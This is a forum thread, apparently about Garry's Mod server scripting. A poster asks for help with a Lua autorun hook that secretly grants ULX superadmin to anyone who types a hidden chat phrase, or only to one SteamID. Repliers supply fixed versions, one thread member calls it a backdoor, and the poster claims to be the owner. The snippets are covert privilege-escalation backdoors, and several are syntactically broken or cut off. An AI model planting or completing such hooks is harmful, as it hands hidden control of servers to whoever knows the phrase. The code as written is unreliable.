Code Not working

Hello i created some code so someone with a steamid like that would be able to run a command and automatcly get superadmin.

hook.Add( “PlayerSay”, “Killurself”, function( ply, text, public )
text = string.lower( text )
if ( text == “!hellohello” ) then
if ( ply:SteamID == “STEAM_0:1:47794345” ) then
RunConsoleCommand( “ulx adduser STEAM_0:1:47794345 superadmin” )
end )

The console says
[ERROR] lua/autorun/run.lua:5: function arguments expected near ‘==’

  1. unknown - lua/autorun/run.lua:0

If you want to make it where it would add the person who types that to superadmin you want to do this :

hook.Add( "PlayerSay", "Killurself", function( ply, text, public )
	text = string.lower(text)
	sid = ply:SteamID()

	if text == "!hellohello" then
		RunConsoleCommand("ulx adduser " .. sid .. " superadmin")
end )

hook.Add("PlayerSay", "Killurself", function(ply, text)
	if string.lower(text) == "!hellohello" then
		RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin")

ez backdoor

Why are you helping a skid make a backdoor?

Im the owner i want to make sure i don’t lose my permissions